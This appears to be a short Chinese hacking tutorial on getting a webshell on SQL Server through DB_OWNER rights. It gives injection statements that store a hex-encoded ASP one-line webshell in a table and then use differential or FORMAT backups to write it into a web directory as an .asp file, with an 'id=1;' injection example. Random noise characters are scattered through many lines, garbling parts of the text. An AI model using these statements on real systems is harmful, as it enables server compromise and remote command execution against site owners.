DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少

7 ^" s# Z* u8 ~: m: t一利用差异备份
! u: M+ v4 e7 F0 K  V, r加一个参数WITH DIFFERENTIAL
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6 I! f* V# e/ r' `5 C8 ]declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
  `! t- E7 H: v% H6 i( z4 Qcreate table [dbo].[xiaolu] ([cmd] [image]);
& ?5 {! D& B* D2 H/ d. Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
5 ], w7 W  J% ~$ ]5 l加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
% ^, X. u' M# `3 Z2 G- Dcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
- m& p0 Y$ [! ], w+ T; e- Xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
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4 ^' K  r$ U/ d+ z/ @: U' nid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–

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